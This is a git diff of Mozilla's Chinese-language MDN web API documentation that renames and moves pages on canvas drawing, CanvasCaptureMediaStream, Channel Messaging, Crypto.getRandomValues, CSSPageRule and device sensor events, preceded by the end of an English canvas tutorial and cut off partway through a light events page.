Calling fill() or stroke() causes the current path to be used. To be filled or stroked again, the path must be recreated.

-

Graphics State

-

Attributes of the context such as fillStyle, strokeStyle, lineWidth, and lineJoin are part of the current graphics state. The context provides two methods, save() and restore(), that can be used to move the current state to and from the state stack.

-

A More Complicated Example

-

Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods translate(), scale(), and rotate() all transform the current matrix. All rendered points are first transformed by this matrix.

-
function drawBowtie(ctx, fillStyle) {
-
-  ctx.fillStyle = "rgba(200,200,200,0.3)";
-  ctx.fillRect(-30, -30, 60, 60);
-
-  ctx.fillStyle = fillStyle;
-  ctx.globalAlpha = 1.0;
-  ctx.beginPath();
-  ctx.moveTo(25, 25);
-  ctx.lineTo(-25, -25);
-  ctx.lineTo(25, -25);
-  ctx.lineTo(-25, 25);
-  ctx.closePath();
-  ctx.fill();
-}
-
-function dot(ctx) {
-  ctx.save();
-  ctx.fillStyle = "yellow";
-  ctx.fillRect(-2, -2, 4, 4);
-  ctx.restore();
-}
-
-function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // note that all other translates are relative to this one
-  ctx.translate(45, 45);
-
-  ctx.save();
-  //ctx.translate(0, 0); // unnecessary
-  drawBowtie(ctx, "red");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 0);
-  ctx.rotate(45 * Math.PI / 180);
-  drawBowtie(ctx, "green");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(0, 85);
-  ctx.rotate(135 * Math.PI / 180);
-  drawBowtie(ctx, "blue");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 85);
-  ctx.rotate(90 * Math.PI / 180);
-  drawBowtie(ctx, "yellow");
-  dot(ctx);
-  ctx.restore();
-}
-
- -

{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}

-

This defines two methods, drawBowtie and dot, that are called 4 times. Before each call, translate() and rotate() are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. dot renders a small black square centered at (0, 0). That dot is moved around by the transformation matrix. drawBowtie renders a simple bowtie path using the passed-in fill style.

-

As matrix operations are cumulative, save() and restore() are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a translate() rotate() translate() sequence will yield different results than a translate() translate() rotate() series of calls.

-

Compatibility With Apple <canvas>

-

For the most part, <canvas> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.

-

Required </canvas> tag

-

In the Apple Safari implementation, <canvas> is an element implemented in much the same way <img> is; it does not have an end tag. However, for <canvas> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a required end tag.

-

If fallback content is not needed, a simple <canvas id="foo" ...></canvas> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.

-

If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).

-
canvas {
-  font-size: 0.00001px !ie;
-}
-

Additional Features

-

Rendering Web Content Into A Canvas

-
- This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. Read why.
-

Mozilla's canvas is extended with the drawWindow() method. This method draws a snapshot of the contents of a DOM window into the canvas. For example,

-
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
-
-

would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).

-

It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.

-

With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.

-

Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.

-
- Note: Using canvas.drawWindow() while handling a document's onload event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the MozAfterPaint event to successfully draw HTML content into a canvas on page load.
-

See also

- diff --git a/files/zh-cn/web/api/canvascapturemediastream/index.html b/files/zh-cn/web/api/canvascapturemediastream/index.html deleted file mode 100644 index 1a71e7d834..0000000000 --- a/files/zh-cn/web/api/canvascapturemediastream/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: CanvasCaptureMediaStream -slug: Web/API/CanvasCaptureMediaStream -translation_of: Web/API/CanvasCaptureMediaStreamTrack ---- -
{{APIRef}}{{SeeCompatTable}}
- -

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

- -

属性

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

- -
-
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
-
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
-
- -

方法

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

- -
-
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
-
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

- -

其他参考资料

- -
    -
  • {{domxref("HTMLCanvasElement.captureStream()")}}
  • -
diff --git a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..1a71e7d834 --- /dev/null +++ b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,103 @@ +--- +title: CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStream +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

+ +

属性

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

+ +
+
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
+
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
+
+ +

方法

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

+ +
+
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
+
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

+ +

其他参考资料

+ +
    +
  • {{domxref("HTMLCanvasElement.captureStream()")}}
  • +
diff --git a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html new file mode 100644 index 0000000000..8ddfa8df8e --- /dev/null +++ b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -0,0 +1,179 @@ +--- +title: 使用 channel messaging +slug: Web/API/Channel_Messaging_API/使用_channel_messaging +tags: + - API + - Channel messaging + - HTML5 + - MessageChannel + - MessagePort + - 指南 +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

+ +

在文本中,我们将探索这项技术的基本用法。

+ +

{{AvailableInWorkers}}

+ +

用例

+ +

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

+ +

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

+ +
+

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

+
+ +

简单的例子

+ +

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

+ +

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

+ +

本文中,我们重点说后面的这个例子。它看起来像是这样:

+ +

+ +

创建 channel

+ +

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

+ +
var input = document.getElementById('message-input');
+var output = document.getElementById('message-output');
+var button = document.querySelector('button');
+var iframe = document.querySelector('iframe');
+
+var channel = new MessageChannel();
+var port1 = channel.port1;
+
+// 等待 iframe 加载
+iframe.addEventListener("load", onLoad);
+
+function onLoad() {
+  // 监听按钮点击
+  button.addEventListener('click', onClick);
+
+  // 在 port1 监听消息
+  port1.onmessage = onMessage;
+
+  // 把 port2 传给 iframe
+  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
+}
+
+// 当按钮点击时,在 port1 上发送一个消息
+function onClick(e) {
+  e.preventDefault();
+  port1.postMessage(input.value);
+}
+
+// 处理 port1 收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

+ +

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

+ +

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

+ +
    +
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. +
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. +
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. +
+ +

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

+ +

在 IFrame 里接收 port 和消息

+ +

在 IFrame 里,我们有下面的 JavaScript:

+ +
var list = document.querySelector('ul');
+var port2;
+
+// 监听初始的 port 传递消息
+window.addEventListener('message', initPort);
+
+// 设置传过来的 port
+function initPort(e) {
+  port2 = e.ports[0];
+  port2.onmessage = onMessage;
+}
+
+// 处理 port2 收到的消息
+function onMessage(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  port2.postMessage('Message received by IFrame: "' + e.data + '"');
+}
+
+ +

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

+ +

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

+ +

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

+ +

在主页面中接收确认消息

+ +

回到主页面,我们来一起看看 onmessage 事件处理函数。

+ +
// 处理 port1 上收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

参见

+ + diff --git "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" "b/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" deleted file mode 100644 index 8ddfa8df8e..0000000000 --- "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: 使用 channel messaging -slug: Web/API/Channel_Messaging_API/使用_channel_messaging -tags: - - API - - Channel messaging - - HTML5 - - MessageChannel - - MessagePort - - 指南 -translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging ---- -

{{DefaultAPISidebar("Channel Messaging API")}}

- -

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

- -

在文本中,我们将探索这项技术的基本用法。

- -

{{AvailableInWorkers}}

- -

用例

- -

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

- -

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

- -
-

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

-
- -

简单的例子

- -

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

- -

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

- -

本文中,我们重点说后面的这个例子。它看起来像是这样:

- -

- -

创建 channel

- -

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

- -
var input = document.getElementById('message-input');
-var output = document.getElementById('message-output');
-var button = document.querySelector('button');
-var iframe = document.querySelector('iframe');
-
-var channel = new MessageChannel();
-var port1 = channel.port1;
-
-// 等待 iframe 加载
-iframe.addEventListener("load", onLoad);
-
-function onLoad() {
-  // 监听按钮点击
-  button.addEventListener('click', onClick);
-
-  // 在 port1 监听消息
-  port1.onmessage = onMessage;
-
-  // 把 port2 传给 iframe
-  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
-}
-
-// 当按钮点击时,在 port1 上发送一个消息
-function onClick(e) {
-  e.preventDefault();
-  port1.postMessage(input.value);
-}
-
-// 处理 port1 收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

- -

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

- -

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

- -
    -
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. -
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. -
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. -
- -

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

- -

在 IFrame 里接收 port 和消息

- -

在 IFrame 里,我们有下面的 JavaScript:

- -
var list = document.querySelector('ul');
-var port2;
-
-// 监听初始的 port 传递消息
-window.addEventListener('message', initPort);
-
-// 设置传过来的 port
-function initPort(e) {
-  port2 = e.ports[0];
-  port2.onmessage = onMessage;
-}
-
-// 处理 port2 收到的消息
-function onMessage(e) {
-  var listItem = document.createElement('li');
-  listItem.textContent = e.data;
-  list.appendChild(listItem);
-  port2.postMessage('Message received by IFrame: "' + e.data + '"');
-}
-
- -

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

- -

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

- -

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

- -

在主页面中接收确认消息

- -

回到主页面,我们来一起看看 onmessage 事件处理函数。

- -
// 处理 port1 上收到的消息
-function onMessage(e) {
-  output.innerHTML = e.data;
-  input.value = '';
-}
- -

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- -
-

MessageChannel

- -
- - -

{{Compat("api.MessageChannel", 0)}}

- -

MessagePort

- -
- - -

{{Compat("api.MessagePort", 0)}}

-
-
-
- -

参见

- - diff --git a/files/zh-cn/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..5df5fb0a83 --- /dev/null +++ b/files/zh-cn/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,77 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - API + - 加密 + - 参考 + - 安全 + - 密码学 + - 方法 +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

+ +

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

+ +

语法

+ +
cryptoObj.getRandomValues(typedArray);
+ +

参数

+ +
+
typedArray
+
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
+
+ +

异常事件

+ +
    +
  • 如果请求的长度超过 65536 字节,则异常事件 {{domxref("DOMException")}} {{exception("QuotaExceededError")}} 被抛出。
  • +
+ +

例子

+ +
/* 假设 window.crypto.getRandomValues 可用 */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

标准

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Crypto.getRandomValues")}}

+ +

参见

+ +
    +
  • 通过 {{ domxref("Window.crypto") }} 获取 {{domxref("Crypto")}} 对象。
  • +
  • {{jsxref("Math.random")}},一个非密码学安全的随机数来源。
  • +
diff --git a/files/zh-cn/web/api/cssmatrix/index.html b/files/zh-cn/web/api/cssmatrix/index.html deleted file mode 100644 index 16fe55276d..0000000000 --- a/files/zh-cn/web/api/cssmatrix/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: CSSMatrix -slug: Web/API/CSSMatrix -translation_of: Web/API/DOMMatrix -translation_of_original: Web/API/CSSMatrix ---- -
{{APIRef("CSSOM")}}{{Non-standard_header}}
- -

CSSMatrix 代表可以用于2D或3D变换的4x4齐次矩阵。据说这个类曾经是 CSS Transitions Module Level 3 的一部分,但在现在的工作草案里不存在 。请使用  DOMMatrix

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Compat', '#webkitcssmatrix-interface', 'WebKitCSSMatrix')}}{{Spec2('Compat')}}Initial standardization of the WebKit-prefixed version, WebKitCSSMatrix.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -

[1] Internet Explorer 将此 API实现为MSCSSMatrix。在版本11中,加入了别名WebKitCSSMatrix

- -

[2] WebKit 将此 API实现为WebKitCSSMatrix

- -

相关链接

- - diff --git a/files/zh-cn/web/api/csspagerule/index.html b/files/zh-cn/web/api/csspagerule/index.html new file mode 100644 index 0000000000..ff1d047a59 --- /dev/null +++ b/files/zh-cn/web/api/csspagerule/index.html @@ -0,0 +1,65 @@ +--- +title: CSS分页规则 +slug: Web/API/CSS分页规则 +translation_of: Web/API/CSSPageRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

+ +

语法

+ +

这个语法是使用 WebIDL 格式.

+ +
interface CSSPageRule : CSSRule {
+  attribute DOMString selectorText;
+  readonly attribute CSSStyleDeclaration style;
+};
+
+ +

Properties

+ +

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

+ +
+
{{domxref("CSSPageRule.selectorText")}}
+
表示与规则关联的页面选择器的文本。
+
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
+
返回与规则关联的声明块。
+
+ +

Methods

+ +

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} +

没有变化 {{SpecName('DOM2 Style')}}

+
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSPageRule")}}

diff --git "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" "b/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" deleted file mode 100644 index ff1d047a59..0000000000 --- "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: CSS分页规则 -slug: Web/API/CSS分页规则 -translation_of: Web/API/CSSPageRule ---- -
{{APIRef("CSSOM")}}
- -

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

- -

语法

- -

这个语法是使用 WebIDL 格式.

- -
interface CSSPageRule : CSSRule {
-  attribute DOMString selectorText;
-  readonly attribute CSSStyleDeclaration style;
-};
-
- -

Properties

- -

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

- -
-
{{domxref("CSSPageRule.selectorText")}}
-
表示与规则关联的页面选择器的文本。
-
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
-
返回与规则关联的声明块。
-
- -

Methods

- -

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} -

没有变化 {{SpecName('DOM2 Style')}}

-
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
- -

Browser compatibility

- - - -

{{Compat("api.CSSPageRule")}}

diff --git a/files/zh-cn/web/api/deviceacceleration/index.html b/files/zh-cn/web/api/deviceacceleration/index.html deleted file mode 100644 index 34b215d781..0000000000 --- a/files/zh-cn/web/api/deviceacceleration/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: DeviceAcceleration -slug: Web/API/DeviceAcceleration -tags: - - API - - 传感器 - - 实验性 - - 接口 - - 需要示例 -translation_of: Web/API/DeviceMotionEventAcceleration -translation_of_original: Web/API/DeviceAcceleration ---- -
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
- -
 
- -

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

- -

属性

- -
-
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
-
沿X轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
-
沿Y轴的加速度量(只读)
-
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
-
沿Z轴的加速度量(只读)
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html b/files/zh-cn/web/api/devicelightevent/using_light_events/index.html deleted file mode 100644 index f90edf8ca2..0000000000 --- a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Using Light Events -slug: Web/API/DeviceLightEvent/Using_light_events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

- -

光线事件

- -

